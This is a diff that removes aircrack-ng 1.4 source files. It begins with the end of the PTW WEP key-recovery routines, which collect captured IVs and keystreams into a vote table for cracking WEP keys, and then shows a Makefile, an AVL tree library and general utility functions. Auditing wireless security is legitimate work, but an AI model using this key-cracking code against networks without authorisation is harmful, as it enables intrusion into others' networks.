-						  table,
-						  (sorthelper *) sh,
-						  strongbytes,
-						  twostrong,
-						  bf,
-						  validchars))
-		{
-			return 1;
-		}
-	}
-	return 0;
-}
-
-/*
- * Add a new session to the attack
- * state - state of attack
- * iv - IV used in the session
- * keystream - recovered keystream from the session
- */
-int PTW_addsession(PTW_attackstate * state,
-				   uint8_t * iv,
-				   uint8_t * keystream,
-				   int * weight,
-				   int total)
-{
-	int i, j;
-	int il;
-	int ir;
-	uint8_t buf[PTW_KEYHSBYTES];
-
-	i = (iv[0] << 16) | (iv[1] << 8) | (iv[2]);
-	il = i / 8;
-	ir = 1 << (i % 8);
-	if ((state->seen_iv[il] & ir) == 0)
-	{
-		state->seen_iv[il] |= ir;
-		for (j = 0; j < total; j++)
-		{
-			state->packets_collected++;
-			guesskeybytes(
-				IVBYTES, iv, &keystream[KSBYTES * j], buf, PTW_KEYHSBYTES);
-			for (i = 0; i < KEYHSBYTES; i++)
-			{
-				state->table[i][buf[i]].votes += weight[j];
-			}
-			if (state->allsessions_size < state->packets_collected)
-			{
-				state->allsessions_size = state->allsessions_size << 1;
-				state->allsessions
-					= realloc(state->allsessions,
-							  state->allsessions_size * sizeof(PTW_session));
-				if (state->allsessions == NULL)
-				{
-					printf("could not allocate memory\n");
-					exit(-1);
-				}
-			}
-			memcpy(state->allsessions[state->packets_collected - 1].iv,
-				   iv,
-				   IVBYTES);
-			memcpy(state->allsessions[state->packets_collected - 1].keystream,
-				   &keystream[KSBYTES * j],
-				   KSBYTES);
-			state->allsessions[state->packets_collected - 1].weight = weight[j];
-		}
-		if ((state->sessions_collected < CONTROLSESSIONS))
-		{
-			memcpy(state->sessions[state->sessions_collected].iv, iv, IVBYTES);
-			memcpy(state->sessions[state->sessions_collected].keystream,
-				   keystream,
-				   KSBYTES);
-			state->sessions_collected++;
-		}
-
-		return 1;
-	}
-	else
-	{
-		return 0;
-	}
-}
-
-/*
- * Allocate a new attackstate
- */
-PTW_attackstate * PTW_newattackstate()
-{
-	int i, k;
-	PTW_attackstate * state = NULL;
-	state = malloc(sizeof(PTW_attackstate));
-	if (state == NULL)
-	{
-		return NULL;
-	}
-	memset(state, 0, sizeof(PTW_attackstate));
-	for (i = 0; i < PTW_KEYHSBYTES; i++)
-	{
-		for (k = 0; k < n; k++)
-		{
-			state->table[i][k].b = k;
-		}
-	}
-	state->allsessions = malloc(4096 * sizeof(PTW_session));
-	state->allsessions_size = 4096;
-	if (state->allsessions == NULL)
-	{
-		printf("could not allocate memory\n");
-		exit(-1);
-	}
-
-	return state;
-}
-
-/*
- * Free an allocated attackstate
- */
-void PTW_freeattackstate(PTW_attackstate * state)
-{
-	free(state->allsessions);
-	free(state);
-	return;
-}

aircrack-ng-1.4.tar.gz/src/aircrack-util Deleted

aircrack-ng-1.4.tar.gz/src/aircrack-util/Makefile.am Deleted

@@ -1,134 +0,0 @@
-# Aircrack-ng
-#
-# Copyright (C) 2018 Joseph Benden <joe@benden.us>
-#
-# Autotool support was written by: Joseph Benden <joe@benden.us>
-#
-# This program is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-#
-# In addition, as a special exception, the copyright holders give
-# permission to link the code of portions of this program with the
-# OpenSSL library under certain conditions as described in each
-# individual source file, and distribute linked combinations
-# including the two.
-#
-# You must obey the GNU General Public License in all respects
-# for all of the code used other than OpenSSL.
-#
-# If you modify file(s) with this exception, you may extend this
-# exception to your dnl version of the file(s), but you are not obligated
-# to do so.
-#
-# If you dnl do not wish to do so, delete this exception statement from your
-# version.
-#
-# If you delete this exception statement from all source files in the
-# program, then also delete it here.
-
-AM_CPPFLAGS = -I$(top_srcdir) \
-              -I$(top_srcdir)/src/include \
-              -I$(top_srcdir)/src \
-              $(LIBNL_CFLAGS)
-
-LIBAIRCRACK_CRYPTO_PATH = $(abs_top_builddir)/src/aircrack-crypto/
-
-if ARM
-TRAMPOLINE = trampoline_arm.c
-endif
-if PPC
-TRAMPOLINE = trampoline_ppc.c
-endif
-if X86
-TRAMPOLINE = trampoline_x86.c
-endif
-
-if !ARM
-if !PPC
-if !X86
-TRAMPOLINE = trampoline_stubs.c
-endif
-endif
-endif
-
-if HAVE_HWLOC
-CPUSET = cpuset_hwloc.c
-endif
-if !HAVE_HWLOC
-CPUSET = cpuset_pthread.c
-endif
-
-libaircrack_util_la_SOURCES = common.c \
-							  console.c \
-							  crypto_engine_loader.c \
-							  mcs_index_rates.c \
-							  simd_cpuid.c \
-							  $(TRAMPOLINE) \
-							  verifyssid.c \
-							  avl_tree.c \
-							  $(CPUSET)
-libaircrack_util_la_CFLAGS  = "-DLIBAIRCRACK_CRYPTO_PATH=\"$(LIBAIRCRACK_CRYPTO_PATH)\"" \
-                              "-DABS_TOP_SRCDIR=\"$(abs_top_srcdir)\"" \
-                              "-DABS_TOP_BUILDDIR=\"$(abs_top_builddir)\"" \
-                              "-DLIBDIR=\"$(libdir)\""
-if CYGWIN
-libaircrack_util_la_LIBADD = -lshlwapi
-endif
-
-if STATIC_BUILD
-libaircrack_util_la_CFLAGS += -DSTATIC_BUILD
-endif
-
-if HAVE_HWLOC
-libaircrack_util_la_CFLAGS += $(HWLOC_CFLAGS)
-if !CYGWIN
-if !STATIC_HWLOC
-libaircrack_util_la_LIBADD = $(HWLOC_LIBS)
-endif
-endif
-if CYGWIN
-if !STATIC_HWLOC
-libaircrack_util_la_LIBADD += $(HWLOC_LIBS)
-endif
-endif
-endif
-
-noinst_LTLIBRARIES = libaircrack-util.la
-
-EXTRA_DIST = common.c \
-             common.h \
-             console.c \
-             console.h \
-			 cpuset.h \
-			 cpuset_hwloc.c \
-			 cpuset_pthread.c \
-             crypto_engine_loader.c \
-             crypto_engine_loader.h \
-             mcs_index_rates.c \
-             mcs_index_rates.h \
-             simd_cpuid.c \
-             simd_cpuid.h \
-             trampoline.c \
-             trampoline.h \
-             trampoline_x86.c \
-             trampoline_arm.c \
-             trampoline_ppc.c \
-             trampoline_stubs.c \
-             verifyssid.c \
-             verifyssid.h \
-			 avl_tree.c \
-			 avl_tree.h
-
-
-@CODE_COVERAGE_RULES@

aircrack-ng-1.4.tar.gz/src/aircrack-util/avl_tree.c Deleted

@@ -1,708 +0,0 @@
-/**
- * collectd - src/utils_avltree.c
- * Copyright (C) 2006,2007  Florian octo Forster
- *
- * Permission is hereby granted, free of charge, to any person obtaining a
- * copy of this software and associated documentation files (the "Software"),
- * to deal in the Software without restriction, including without limitation
- * the rights to use, copy, modify, merge, publish, distribute, sublicense,
- * and/or sell copies of the Software, and to permit persons to whom the
- * Software is furnished to do so, subject to the following conditions:
- *
- * The above copyright notice and this permission notice shall be included in
- * all copies or substantial portions of the Software.
- *
- * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
- * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
- * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
- * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
- * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
- * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
- * DEALINGS IN THE SOFTWARE.
- *
- * Authors:
- *   Florian octo Forster <octo at collectd.org>
- **/
-
-#include <assert.h>
-#include <stdlib.h>
-
-#include "avl_tree.h"
-
-#define BALANCE(n)                                                             \
-	((((n)->left == NULL) ? 0 : (n)->left->height)                             \
-	 - (((n)->right == NULL) ? 0 : (n)->right->height))
-
-/*
- * private data types
- */
-struct c_avl_node_s
-{
-	void * key;
-	void * value;
-
-	int height;
-	struct c_avl_node_s * left;
-	struct c_avl_node_s * right;
-	struct c_avl_node_s * parent;
-};
-typedef struct c_avl_node_s c_avl_node_t;
-
-struct c_avl_tree_s
-{
-	c_avl_node_t * root;
-	int (*compare)(const void *, const void *);
-	int size;
-};
-
-struct c_avl_iterator_s
-{
-	c_avl_tree_t * tree;
-	c_avl_node_t * node;
-};
-
-/*
- * private functions
- */
-#if 0
-static void verify_tree (c_avl_node_t *n)
-{
-	if (n == NULL)
-		return;
-
-	verify_tree (n->left);
-	verify_tree (n->right);
-
-	assert ((BALANCE (n) >= -1) && (BALANCE (n) <= 1));
-	assert ((n->parent == NULL) || (n->parent->right == n) || (n->parent->left == n));
-} /* void verify_tree */
-#else
-#define verify_tree(n) /**/
-#endif
-
-static void free_node(c_avl_node_t * n)
-{
-	if (n == NULL) return;
-
-	if (n->left != NULL) free_node(n->left);
-	if (n->right != NULL) free_node(n->right);
-
-	free(n);
-}
-
-static int calc_height(c_avl_node_t * n)
-{
-	int height_left;
-	int height_right;
-
-	if (n == NULL) return 0;
-
-	height_left = (n->left == NULL) ? 0 : n->left->height;
-	height_right = (n->right == NULL) ? 0 : n->right->height;
-
-	return ((height_left > height_right) ? height_left : height_right) + 1;
-} /* int calc_height */
-
-static c_avl_node_t * search(c_avl_tree_t * t, const void * key)
-{
-	c_avl_node_t * n;
-	int cmp;
-
-	n = t->root;
-	while (n != NULL)
-	{
-		cmp = t->compare(key, n->key);
-		if (cmp == 0)
-			return n;
-		else if (cmp < 0)
-			n = n->left;
-		else
-			n = n->right;
-	}
-
-	return NULL;
-}
-
-/*         (x)             (y)
- *        /   \           /   \
- *     (y)    /\         /\    (x)
- *    /   \  /_c\  ==>  / a\  /   \
- *   /\   /\           /____\/\   /\
- *  / a\ /_b\               /_b\ /_c\
- * /____\
- */
-static c_avl_node_t * rotate_right(c_avl_tree_t * t, c_avl_node_t * x)
-{
-	c_avl_node_t * p;
-	c_avl_node_t * y;
-	c_avl_node_t * b;
-
-	assert(x != NULL);
-	assert(x->left != NULL);
-
-	p = x->parent;
-	y = x->left;
-	b = y->right;
-
-	x->left = b;
-	if (b != NULL) b->parent = x;
-
-	x->parent = y;
-	y->right = x;
-
-	y->parent = p;
-	assert((p == NULL) || (p->left == x) || (p->right == x));
-	if (p == NULL)
-		t->root = y;
-	else if (p->left == x)
-		p->left = y;
-	else
-		p->right = y;
-
-	x->height = calc_height(x);
-	y->height = calc_height(y);
-
-	return y;
-} /* void rotate_right */
-
-/*
- *    (x)                   (y)
- *   /   \                 /   \
- *  /\    (y)           (x)    /\
- * /_a\  /   \   ==>   /   \  / c\
- *      /\   /\       /\   /\/____\
- *     /_b\ / c\     /_a\ /_b\
- *         /____\
- */
-static c_avl_node_t * rotate_left(c_avl_tree_t * t, c_avl_node_t * x)
-{
-	c_avl_node_t * p;
-	c_avl_node_t * y;
-	c_avl_node_t * b;
-
-	assert(x != NULL);
-	assert(x->right != NULL);
-
-	p = x->parent;
-	y = x->right;
-	b = y->left;
-
-	x->right = b;
-	if (b != NULL) b->parent = x;
-
-	x->parent = y;
-	y->left = x;
-
-	y->parent = p;
-	assert((p == NULL) || (p->left == x) || (p->right == x));
-	if (p == NULL)
-		t->root = y;
-	else if (p->left == x)
-		p->left = y;
-	else
-		p->right = y;
-
-	x->height = calc_height(x);
-	y->height = calc_height(y);
-
-	return y;
-} /* void rotate_left */
-
-static c_avl_node_t * rotate_left_right(c_avl_tree_t * t, c_avl_node_t * x)
-{
-	rotate_left(t, x->left);
-	return rotate_right(t, x);
-} /* void rotate_left_right */
-
-static c_avl_node_t * rotate_right_left(c_avl_tree_t * t, c_avl_node_t * x)
-{
-	rotate_right(t, x->right);
-	return rotate_left(t, x);
-} /* void rotate_right_left */
-
-static void rebalance(c_avl_tree_t * t, c_avl_node_t * n)
-{
-	int b_top;
-	int b_bottom;
-
-	while (n != NULL)
-	{
-		b_top = BALANCE(n);
-		assert((b_top >= -2) && (b_top <= 2));
-
-		if (b_top == -2)
-		{
-			assert(n->right != NULL);
-			b_bottom = BALANCE(n->right);
-			assert((b_bottom >= -1) && (b_bottom <= 1));
-			if (b_bottom == 1)
-				n = rotate_right_left(t, n);
-			else
-				n = rotate_left(t, n);
-		}
-		else if (b_top == 2)
-		{
-			assert(n->left != NULL);
-			b_bottom = BALANCE(n->left);
-			assert((b_bottom >= -1) && (b_bottom <= 1));
-			if (b_bottom == -1)
-				n = rotate_left_right(t, n);
-			else
-				n = rotate_right(t, n);
-		}
-		else
-		{
-			int height = calc_height(n);
-			if (height == n->height) break;
-			n->height = height;
-		}
-
-		assert(n->height == calc_height(n));
-
-		n = n->parent;
-	} /* while (n != NULL) */
-} /* void rebalance */
-
-static c_avl_node_t * c_avl_node_next(c_avl_node_t * n)
-{
-	c_avl_node_t * r; /* return node */
-
-	if (n == NULL)
-	{
-		return NULL;
-	}
-
-	/* If we can't descent any further, we have to backtrack to the first
-	 * parent that's bigger than we, i. e. who's _left_ child we are. */
-	if (n->right == NULL)
-	{
-		r = n->parent;
-		while ((r != NULL) && (r->parent != NULL))
-		{
-			if (r->left == n) break;
-			n = r;
-			r = n->parent;
-		}
-
-		/* n->right == NULL && r == NULL => t is root and has no next
-		 * r->left != n => r->right = n => r->parent == NULL */
-		if ((r == NULL) || (r->left != n))
-		{
-			assert((r == NULL) || (r->parent == NULL));
-			return NULL;
-		}
-		else
-		{
-			assert(r->left == n);
-			return r;
-		}
-	}
-	else
-	{
-		r = n->right;
-		while (r->left != NULL) r = r->left;
-	}
-
-	return r;
-} /* c_avl_node_t *c_avl_node_next */
-
-static c_avl_node_t * c_avl_node_prev(c_avl_node_t * n)
-{
-	c_avl_node_t * r; /* return node */
-
-	if (n == NULL)
-	{
-		return NULL;
-	}
-
-	/* If we can't descent any further, we have to backtrack to the first
-	 * parent that's smaller than we, i. e. who's _right_ child we are. */
-	if (n->left == NULL)
-	{
-		r = n->parent;
-		while ((r != NULL) && (r->parent != NULL))
-		{
-			if (r->right == n) break;
-			n = r;
-			r = n->parent;
-		}
-
-		/* n->left == NULL && r == NULL => t is root and has no next
-		 * r->right != n => r->left = n => r->parent == NULL */
-		if ((r == NULL) || (r->right != n))
-		{
-			assert((r == NULL) || (r->parent == NULL));
-			return NULL;
-		}
-		else
-		{
-			assert(r->right == n);
-			return r;
-		}
-	}
-	else
-	{
-		r = n->left;
-		while (r->right != NULL) r = r->right;
-	}
-
-	return r;
-} /* c_avl_node_t *c_avl_node_prev */
-
-static int _remove(c_avl_tree_t * t, c_avl_node_t * n)
-{
-	assert((t != NULL) && (n != NULL));
-
-	if ((n->left != NULL) && (n->right != NULL))
-	{
-		c_avl_node_t * r; /* replacement node */
-		if (BALANCE(n) > 0) /* left subtree is higher */
-		{
-			assert(n->left != NULL);
-			r = c_avl_node_prev(n);
-		}
-		else /* right subtree is higher */
-		{
-			assert(n->right != NULL);
-			r = c_avl_node_next(n);
-		}
-
-		assert((r->left == NULL) || (r->right == NULL));
-
-		/* copy content */
-		n->key = r->key;
-		n->value = r->value;
-
-		n = r;
-	}
-
-	assert((n->left == NULL) || (n->right == NULL));
-
-	if ((n->left == NULL) && (n->right == NULL))
-	{
-		/* Deleting a leave is easy */
-		if (n->parent == NULL)
-		{
-			assert(t->root == n);
-			t->root = NULL;
-		}
-		else
-		{
-			assert((n->parent->left == n) || (n->parent->right == n));
-			if (n->parent->left == n)
-				n->parent->left = NULL;
-			else
-				n->parent->right = NULL;
-
-			rebalance(t, n->parent);
-		}
-
-		free_node(n);
-	}
-	else if (n->left == NULL)
-	{
-		assert(BALANCE(n) == -1);
-		assert((n->parent == NULL) || (n->parent->left == n)
-			   || (n->parent->right == n));
-		if (n->parent == NULL)
-		{
-			assert(t->root == n);
-			t->root = n->right;
-		}
-		else if (n->parent->left == n)
-		{
-			n->parent->left = n->right;
-		}
-		else
-		{
-			n->parent->right = n->right;
-		}
-		n->right->parent = n->parent;
-
-		if (n->parent != NULL) rebalance(t, n->parent);
-
-		n->right = NULL;
-		free_node(n);
-	}
-	else if (n->right == NULL)
-	{
-		assert(BALANCE(n) == 1);
-		assert((n->parent == NULL) || (n->parent->left == n)
-			   || (n->parent->right == n));
-		if (n->parent == NULL)
-		{
-			assert(t->root == n);
-			t->root = n->left;
-		}
-		else if (n->parent->left == n)
-		{
-			n->parent->left = n->left;
-		}
-		else
-		{
-			n->parent->right = n->left;
-		}
-		n->left->parent = n->parent;
-
-		if (n->parent != NULL) rebalance(t, n->parent);
-
-		n->left = NULL;
-		free_node(n);
-	}
-	else
-	{
-		assert(0);
-	}
-
-	return 0;
-} /* void *_remove */
-
-/*
- * public functions
- */
-c_avl_tree_t * c_avl_create(int (*compare)(const void *, const void *))
-{
-	c_avl_tree_t * t;
-
-	if (compare == NULL) return NULL;
-
-	if ((t = malloc(sizeof(*t))) == NULL) return NULL;
-
-	t->root = NULL;
-	t->compare = compare;
-	t->size = 0;
-
-	return t;
-}
-
-void c_avl_destroy(c_avl_tree_t * t)
-{
-	if (t == NULL) return;
-	free_node(t->root);
-	free(t);
-}
-
-int c_avl_insert(c_avl_tree_t * t, void * key, void * value)
-{
-	c_avl_node_t * new;
-	c_avl_node_t * nptr;
-	int cmp;
-
-	if ((new = malloc(sizeof(*new))) == NULL) return -1;
-
-	new->key = key;
-	new->value = value;
-	new->height = 1;
-	new->left = NULL;
-	new->right = NULL;
-
-	if (t->root == NULL)
-	{
-		new->parent = NULL;
-		t->root = new;
-		t->size = 1;
-		return 0;
-	}
-
-	nptr = t->root;
-	while (42)
-	{
-		cmp = t->compare(nptr->key, new->key);
-		if (cmp == 0)
-		{
-			free_node(new);
-			return 1;
-		}
-		else if (cmp < 0)
-		{
-			/* nptr < new */
-			if (nptr->right == NULL)
-			{
-				nptr->right = new;
-				new->parent = nptr;
-				rebalance(t, nptr);
-				break;
-			}
-			else
-			{
-				nptr = nptr->right;
-			}
-		}
-		else /* if (cmp > 0) */
-		{
-			/* nptr > new */
-			if (nptr->left == NULL)
-			{
-				nptr->left = new;
-				new->parent = nptr;
-				rebalance(t, nptr);
-				break;
-			}
-			else
-			{
-				nptr = nptr->left;
-			}
-		}
-	} /* while (42) */
-
-	verify_tree(t->root);
-	++t->size;
-	return 0;
-} /* int c_avl_insert */
-
-int c_avl_remove(c_avl_tree_t * t,
-				 const void * key,
-				 void ** rkey,
-				 void ** rvalue)
-{
-	c_avl_node_t * n;
-	int status;
-
-	assert(t != NULL);
-
-	n = search(t, key);
-	if (n == NULL) return -1;
-
-	if (rkey != NULL) *rkey = n->key;
-	if (rvalue != NULL) *rvalue = n->value;
-
-	status = _remove(t, n);
-	verify_tree(t->root);
-	--t->size;
-	return status;
-} /* void *c_avl_remove */
-
-int c_avl_get(c_avl_tree_t * t, const void * key, void ** value)
-{
-	c_avl_node_t * n;
-
-	assert(t != NULL);
-
-	n = search(t, key);
-	if (n == NULL) return -1;
-
-	if (value != NULL) *value = n->value;
-
-	return 0;
-}
-
-int c_avl_pick(c_avl_tree_t * t, void ** key, void ** value)
-{
-	c_avl_node_t * n;
-	c_avl_node_t * p;
-
-	assert(t != NULL);
-
-	if ((key == NULL) || (value == NULL)) return -1;
-	if (t->root == NULL) return -1;
-
-	n = t->root;
-	while ((n->left != NULL) || (n->right != NULL))
-	{
-		if (n->left == NULL)
-		{
-			n = n->right;
-			continue;
-		}
-		else if (n->right == NULL)
-		{
-			n = n->left;
-			continue;
-		}
-
-		if (n->left->height > n->right->height)
-			n = n->left;
-		else
-			n = n->right;
-	}
-
-	p = n->parent;
-	if (p == NULL)
-		t->root = NULL;
-	else if (p->left == n)
-		p->left = NULL;
-	else
-		p->right = NULL;
-
-	*key = n->key;
-	*value = n->value;
-
-	free_node(n);
-	--t->size;
-	rebalance(t, p);
-
-	return 0;
-} /* int c_avl_pick */
-
-c_avl_iterator_t * c_avl_get_iterator(c_avl_tree_t * t)
-{
-	c_avl_iterator_t * iter;
-
-	if (t == NULL) return NULL;
-
-	iter = calloc(1, sizeof(*iter));
-	if (iter == NULL) return NULL;
-	iter->tree = t;
-
-	return iter;
-} /* c_avl_iterator_t *c_avl_get_iterator */
-
-int c_avl_iterator_next(c_avl_iterator_t * iter, void ** key, void ** value)
-{
-	c_avl_node_t * n;
-
-	if ((iter == NULL) || (key == NULL) || (value == NULL)) return -1;
-
-	if (iter->node == NULL)
-	{
-		for (n = iter->tree->root; n != NULL; n = n->left)
-			if (n->left == NULL) break;
-		iter->node = n;
-	}
-	else
-	{
-		n = c_avl_node_next(iter->node);
-	}
-
-	if (n == NULL) return -1;
-
-	iter->node = n;
-	*key = n->key;
-	*value = n->value;
-
-	return 0;
-} /* int c_avl_iterator_next */
-
-int c_avl_iterator_prev(c_avl_iterator_t * iter, void ** key, void ** value)
-{
-	c_avl_node_t * n;
-
-	if ((iter == NULL) || (key == NULL) || (value == NULL)) return -1;
-
-	if (iter->node == NULL)
-	{
-		for (n = iter->tree->root; n != NULL; n = n->left)
-			if (n->right == NULL) break;
-		iter->node = n;
-	}
-	else
-	{
-		n = c_avl_node_prev(iter->node);
-	}
-
-	if (n == NULL) return -1;
-
-	iter->node = n;
-	*key = n->key;
-	*value = n->value;
-
-	return 0;
-} /* int c_avl_iterator_prev */
-
-void c_avl_iterator_destroy(c_avl_iterator_t * iter) { free(iter); }
-
-int c_avl_size(c_avl_tree_t * t)
-{
-	if (t == NULL) return 0;
-	return t->size;
-}

aircrack-ng-1.4.tar.gz/src/aircrack-util/common.c Deleted

@@ -1,710 +0,0 @@
-/*
- *  Common functions for all aircrack-ng tools
- *
- *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/wait.h>
-#include <dirent.h>
-#include <unistd.h>
-#include <ctype.h>
-#include <limits.h>
-#include <errno.h>
-#include <assert.h>
-
-#if defined(__FreeBSD__) || defined(__OpenBSD__) || defined(__DragonFly__)
-#include <sys/sysctl.h>
-#include <sys/user.h>
-#endif
-#if (defined(_WIN32) || defined(_WIN64)) || defined(__CYGWIN32__)
-#include <io.h>
-#include <windows.h>
-#include <errno.h>
-#endif
-#define isHex(c) (hexToInt(c) != -1)
-#define HEX_BASE 16
-
-/*
- * The following function comes from jumbo.c from JTR.
- * It has the following license:
- *
- * This file is Copyright (c) 2013-2014 magnum, Lukasz and JimF,
- * and is hereby released to the general public under the
-following terms:
- * Redistribution and use in source and binary forms, with or
-without
- * modifications, are permitted.
-*/
-#if defined(__CYGWIN32__) && !defined(__CYGWIN64__)
-int fseeko64(FILE * fp, int64_t offset, int whence)
-{
-	fpos_t pos;
-
-	if (whence == SEEK_CUR)
-	{
-		if (fgetpos(fp, &pos)) return (-1);
-
-		pos += (fpos_t) offset;
-	}
-	else if (whence == SEEK_END)
-	{
-		/* If writing, we need to flush before getting file length. */
-		long long size;
-
-		fflush(fp);
-		size = 0;
-
-		GetFileSizeEx((HANDLE) _get_osfhandle(fileno(fp)),
-					  (PLARGE_INTEGER) &size);
-		pos = (fpos_t)(size + offset);
-	}
-	else if (whence == SEEK_SET)
-		pos = (fpos_t) offset;
-	else
-	{
-		errno = EINVAL;
-		return (-1);
-	}
-
-	return fsetpos(fp, &pos);
-}
-
-int64_t ftello64(FILE * fp)
-{
-	fpos_t pos;
-
-	if (fgetpos(fp, &pos)) return -1LL;
-
-	return (int64_t) pos;
-}
-#endif
-
-const unsigned char ZERO[33] = "\x00\x00\x00\x00\x00\x00\x00\x00"
-							   "\x00\x00\x00\x00\x00\x00\x00\x00"
-							   "\x00\x00\x00\x00\x00\x00\x00\x00"
-							   "\x00\x00\x00\x00\x00\x00\x00\x00";
-
-/*
- * Print the time and percentage in readable format
- */
-void calctime(time_t t, float perc)
-{
-	int days = 0, hours = 0, mins = 0, secs = 0, remain = 0, printed = 0;
-	char buf[8];
-
-	days = t / 86400;
-	remain = t % 86400;
-
-	hours = remain / 3600;
-	remain = remain % 3600;
-
-	mins = remain / 60;
-	secs = remain % 60;
-
-	if (days) printed += printf("%d day%s, ", days, (days > 1 ? "s" : ""));
-
-	if (hours) printed += printf("%d hour%s, ", hours, (hours > 1 ? "s" : ""));
-
-	if (mins) printed += printf("%d minute%s, ", mins, (mins > 1 ? "s" : ""));
-
-	snprintf(buf, sizeof(buf), "%3.2f%%", perc);
-
-	printed += printf("%d second%s", secs, (secs != 1 ? "s" : ""));
-
-	printf("%*s %s\n", (int) (47 - (printed + strlen(buf) % 5)), " ", buf);
-}
-
-int is_string_number(const char * str)
-{
-	int i;
-	if (str == NULL)
-	{
-		return 0;
-	}
-
-	if (*str != '-' && !(isdigit((int) (*str))))
-	{
-		return 0;
-	}
-
-	for (i = 1; str[i] != 0; i++)
-	{
-		if (!isdigit((int) (str[i])))
-		{
-			return 0;
-		}
-	}
-
-	return 1;
-}
-
-int get_ram_size(void)
-{
-	int ret = -1;
-#if defined(__FreeBSD__)
-	int mib[] = {CTL_HW, HW_PHYSMEM};
-	size_t len;
-	unsigned long physmem;
-
-	len = sizeof(physmem);
-
-	if (!sysctl(mib, 2, &physmem, &len, NULL, 0))
-		ret = (physmem / 1024); // Linux returns memory size in kB, so we want
-// to as well.
-#elif defined(_WIN32) || defined(_WIN64)
-	MEMORYSTATUSEX statex;
-	statex.dwLength = sizeof(statex);
-
-	if (GlobalMemoryStatusEx(&statex))
-	{
-		ret = (int) (statex.ullTotalPhys / 1024);
-	}
-#else
-	FILE * fp;
-	char str[100 + 1];
-	int val = 0;
-
-	if (!(fp = fopen("/proc/meminfo", "r")))
-	{
-		perror("fopen fails on /proc/meminfo");
-		return ret;
-	}
-
-	memset(str, 0x00, sizeof(str));
-	while (ret == -1 && !feof(fp) && fscanf(fp, "%100s %d", str, &val) != 0)
-	{
-		if (!(strncmp(str, "MemTotal", 8)))
-		{
-			ret = val;
-		}
-	}
-
-	fclose(fp);
-#endif
-	return ret;
-}
-
-/* Return the version number */
-char * getVersion(const char * progname,
-				  const unsigned int maj,
-				  const unsigned int min,
-				  const unsigned int submin,
-				  const char * rev,
-				  const unsigned int beta,
-				  const unsigned int rc)
-{
-	if (progname == NULL || progname[0] == 0)
-	{
-		fprintf(stderr, "Invalid program name, cannot be NULL or empty\n");
-		exit(1);
-	}
-	if (rc != 0 && beta != 0)
-	{
-		fprintf(stderr, "RC and beta cannot be both used\n");
-		exit(1);
-	}
-
-	// Calculate and allocate buffer
-	size_t len = 100 + strlen(progname);
-	if (rev)
-	{
-		len += strlen(rev);
-	}
-	char * ret = (char *) calloc(1, len);
-	if (ret == NULL)
-	{
-		perror("calloc()");
-		exit(1);
-	}
-
-	// Major, minor version
-	snprintf(ret, len, "%s %u.%u", progname, maj, min);
-
-	// Sub-minor
-	if (submin > 0)
-	{
-		snprintf(ret + strlen(ret), len - strlen(ret), ".%u", submin);
-	}
-
-	// Release candidate ...
-	if (rc > 0)
-	{
-		snprintf(ret + strlen(ret), len - strlen(ret), " rc%u", rc);
-	}
-	else if (beta > 0)
-	{ // ... Or beta
-		snprintf(ret + strlen(ret), len - strlen(ret), " beta%u", beta);
-	}
-
-	// Add revision if it comes from subversion or git
-	if (rev)
-	{
-		char * tmp = strdup(rev);
-
-		char * sep = strstr(tmp, "_");
-		if (sep)
-		{
-			++sep;
-		}
-		else
-		{
-			sep = "";
-		}
-
-		char * search = strstr(sep, "rev-");
-		if (search)
-		{
-			search[3] = ' ';
-		}
-
-		snprintf(
-			ret + strlen(ret), len - strlen(ret), " %s", search ? search : sep);
-		free(tmp);
-	}
-
-	// Shorten buffer if possible
-	char * r_ret = realloc(ret, strlen(ret) + 1);
-	return (r_ret) ? r_ret : ret;
-}
-
-// Return the number of cpu. If detection fails, it will return -1;
-int get_nb_cpus(void)
-{
-	int number = -1;
-
-#if defined(_WIN32) || defined(_WIN64)
-	SYSTEM_INFO sysinfo = {0};
-
-	GetSystemInfo(&sysinfo);
-
-	number = sysinfo.dwNumberOfProcessors;
-#elif defined(__linux__)
-	char *s, *pos;
-	FILE * f;
-	// Reading /proc/cpuinfo is more reliable on current CPUs,
-	// so put it first and try the old method if this one fails
-	f = fopen("/proc/cpuinfo", "r");
-
-	if (f != NULL)
-	{
-		s = (char *) calloc(1, 81);
-
-		if (s != NULL)
-		{
-			// Get the latest value of "processor" element
-			// and increment it by 1 and it that value
-			// will be the number of CPU.
-			number = -2;
-
-			while (fgets(s, 80, f) != NULL)
-			{
